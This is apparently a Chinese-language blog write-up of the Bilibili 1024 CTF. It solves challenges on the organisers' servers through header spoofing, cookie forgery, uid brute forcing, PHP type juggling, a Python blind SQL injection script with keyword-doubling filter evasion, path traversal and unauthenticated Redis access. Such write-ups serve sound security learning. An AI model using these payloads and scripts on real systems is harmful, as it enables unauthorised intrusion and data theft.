Bilibili CTF 前言 哔哩哔哩安全挑战赛(×)
哔哩哔哩谜语人挑战赛(√)
✔第一题 页面的背后是什么 题目地址: http://45.113.201.36/index.html
暗示你打开 F12 了,找到如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <script> $.ajax ({ url : "api/admin" , type : "get" , success :function (data ) { if (data.code == 200 ){ var input = document .getElementById ("flag1" ); input.value = String (data.data ); } else { $('#flag1' ).html ("接口异常,请稍后再试~" ); } } }) </script>
访问http://45.113.201.36/api/admin
1 { "code" : 200 , "data" : "4c178e27-c36fea80-a7ed3176-1d754700" , "msg" : "" }
完事
✔第二题 真正的秘密只有特殊的设备才能看到 和第一道题同一个页面
需要使用 bilibili Security Browser 浏览器访问~
页面中还有一段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <script> $.ajax ({ url : "api/ctf/2" , type : "get" , success :function (data ) { if (data.code == 200 ){ $('#flag2' ).html ("flag2: " + data.data ); } else { $('#flag2' ).html ("需要使用bilibili Security Browser浏览器访问~" ); } } }) </script>
直接访问http://45.113.201.36/api/ctf/2
会提示 403
带个 UA
User-Agent:bilibili Security Browser
完事了
1 2 3 4 5 { "code" : 200 , "data" : "d2131fcf-a2b3f44c-f214bd4d-fa060ecf" , "msg" : "" }
✔第三题 密码是啥 题目地址: http://45.113.201.36/login.html
纯属谜语题,猜就完事了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <script> $("#submit" ).click (function ( ){ $.ajax ({ url : "api/ctf/3" , type : "post" , contentType : "application/json" , dataType :"json" , data : JSON .stringify ({ username : $("#name" ).val (), passwd : $("#subject" ).val (), }), success :function (data ) { if (data.code == 200 ){ alert ("flag is: " + data.data ); } else { alert ("用户名或密码错误~" ); } } }) }); </script>
1 2 username: admin passwd: bilibili
页面提示
flag is: 6addadbe-68ecd85e-a675abff-abec8179
✔第四题 对不起,权限不足~ http://45.113.201.36/superadmin.html
有些秘密只有超级管理员才能看见哦~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <script> $.ajax({ url: "api/ctf/4" , type: "get" , success: function (data) { console.log(data); if (data.code == 200 ){ $('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}" .toLowerCase() ) } else { $('#flag').html("有些秘密只有超级管理员才能看见哦~" ) } } } ) </script>
F12 看一下请求头
Cookie:role=ee11cbb19052e40b07aac0ca060c23ee
发现华点!
1 2 3 >>> a = "ee11cbb19052e40b07aac0ca060c23ee" >>> len (a)32
试试把 role 换成Administrator
的 32 位 md5
说真的这个也是很谜语,root/administrator/admin 都不行
然后GET http://45.113.201.36/api/ctf/4
完事
1 2 3 4 5 { "code" : 200 , "data" : "47892d9e-f9014bb2-e2c09832-6625250e" , "msg" : "" }
✔第五题 别人的秘密 题目地址: http://45.113.201.36/user.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <script> $(function () { (function ($) { $.getUrlParam = function(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)" ); var r = window.location.search.substr(1 ).match(reg); if (r != null ) return unescape(r[ 2 ] ); return null ; } } )(jQuery); var uid = $.getUrlParam('uid'); if (uid == null ) { uid = 100336889 ; } $.ajax({ url: "api/ctf/5?uid=" + uid, type: "get" , success: function (data) { console.log(data); if (data.code == 200 ){ $('#flag').html("欢迎超级管理员登陆~flag : " + data.data ) } else { $('#flag').html("这里没有你想要的答案~" ) } } } ) } ); </script>
这次猜不了了,直接爆破
1 2 3 4 5 6 7 8 9 10 for uid in range (100336889 ,99999999999 ): params = ( ('uid' , uid), ) response = requests.get('http://45.113.201.36/api/ctf/5' , headers=headers, params=params, cookies=cookies, verify=False ).json() if response['code' ] != '403' : print (response) print (uid)
1 2 { 'code': 200 , 'data': 'ceb460a2-9 d1e9100-1 b0dd097-dcce2fb9', 'msg': ''} 100336914
看了一下空间,这用户好神秘
✔第六题 结束亦是开始 题目地址: http://120.92.151.189/blog/single.php?id=1
是不是一堆人暴力猜猜炸了啊 服务器挂了…
http://120.92.151.189/blog/end.php
你想要的不在这儿~
佛了,我还是搜搜大佬的题解吧,结果说扫目录可以扫到
http://120.92.151.189/blog/test.php
里面是 JSFuck 加密的内容,不贴了..
尝试一下 JSUnFuck
http://codertab.com/JsUnFuck
1 2 3 var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9" ;var str2 = "bilibili1024havefun" ;console .log ()
str1
解码是程序员最多的地方
去 Github 搜一下str2
发现https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $bilibili = "bilibili1024havefun" ;$str = intval ($_GET ['id' ]);$reg = preg_match ('/\d/is' , $_GET ['id' ]);if (!is_numeric ($_GET ['id' ]) and $reg !== 1 and $str === 1 ){ $content = file_get_contents ($_GET ['url' ]); if (false ){ echo "还差一点点啦~" ; }else { echo $flag ; } }else { echo "你想要的不在这儿~" ; } ?>
PHP 不会…请教了一下,构造了以下参数
http://120.92.151.189/blog/end.php?id[]=1
页面提示还差一点点啦~
下个参数应该就是文件地址了,结合之前的猜一猜
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
得到一个图片,保存后 NPP 打开搜索flag
得到{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}}
??????这不是第六题吗
草真的是,提交第 10 题成功了??
很喜欢出题人说过的一句话
结束 亦是开始
卡关了 白白
23 点 57 分更新,爆破拿到 Flag6 a2b0883c-ffbb8d17-9a3bbf1c-ed600c80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl='http://120.92.151.189/blog/single.php?id=1' flag='' for i in range (1 ,100 ): left=33 right=128 while right-left!=1 : mid=(left+right)//2 payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#" .format (i=i,mid=hex (mid)) headers={ 'Referer' :payload } r=requests.get(url=url,headers=headers) if len (r.text) == 5596 : left=mid else : right=mid flag+=chr (right) print (flag)
✔第七题 23 点 57 分更新
http://45.113.201.36/api/images?file=../../../flag7.txt
需登录,来自项目 Issue
✔第八题 服务器开启了6379
端口,也就是Redis
默认端口,直接上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS D:\TOOL\Redis> .\redis-cli .exe -h 120.92 .151.189 -p 6379 120.92 .151.189 :6379 > keys * 1 ) "flag8" 2 ) "flag5" 3 ) "flag7" 4 ) "flag9" 5 ) "flag10" 6 ) "flag1" 7 ) "flag2" 8 ) "flag3" 9 ) "flag4" 10 ) "flag6" 120.92 .151.189 :6379 > get flag8"d436b982-2b81aa54-49a8d2db-87ab951a"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 PS D:\TOOL\Redis> .\redis-cli .exe -h 120.92 .151.189 -p 6379 120.92 .151.189 :6379 > get flag1"3b96173a-b3df4cdd-22d4c15f-261e7309" 120.92 .151.189 :6379 > get flag2"bd871042-1e09a130-3ddd4faa-cebdb048" 120.92 .151.189 :6379 > get flag3"c7f7a7c2-28b7f895-5432152b-6410e042" 120.92 .151.189 :6379 > get flag4"d338e3c8-93215105-258d79ba-b364e59c" 120.92 .151.189 :6379 > get flag5"612d1886-044898af-6c1e9dba-b58ad075" 120.92 .151.189 :6379 > get flag6"8aa6f15d-65e37c9b-78c2bc37-00ed5aee" 120.92 .151.189 :6379 > get flag7"b78ce2aa-10d03327-f2035f4e-55c17689" 120.92 .151.189 :6379 > get flag8"d436b982-2b81aa54-49a8d2db-87ab951a" 120.92 .151.189 :6379 > get flag9"b3238659-b81512e6-3a307c74-9877ecc5" 120.92 .151.189 :6379 > get flag10"e5653416-595b3d0c-4c2a57ee-c026350e"
大佬们说flag8
就是这里拿到的,确实成功了,但是其他的 flag 在这里摆出来是为了什么?
第九题 时间到了..
可能突破口:http://45.113.201.36/api/images?file=../../../secret.txt
✔第十题 第六题中得到了flag10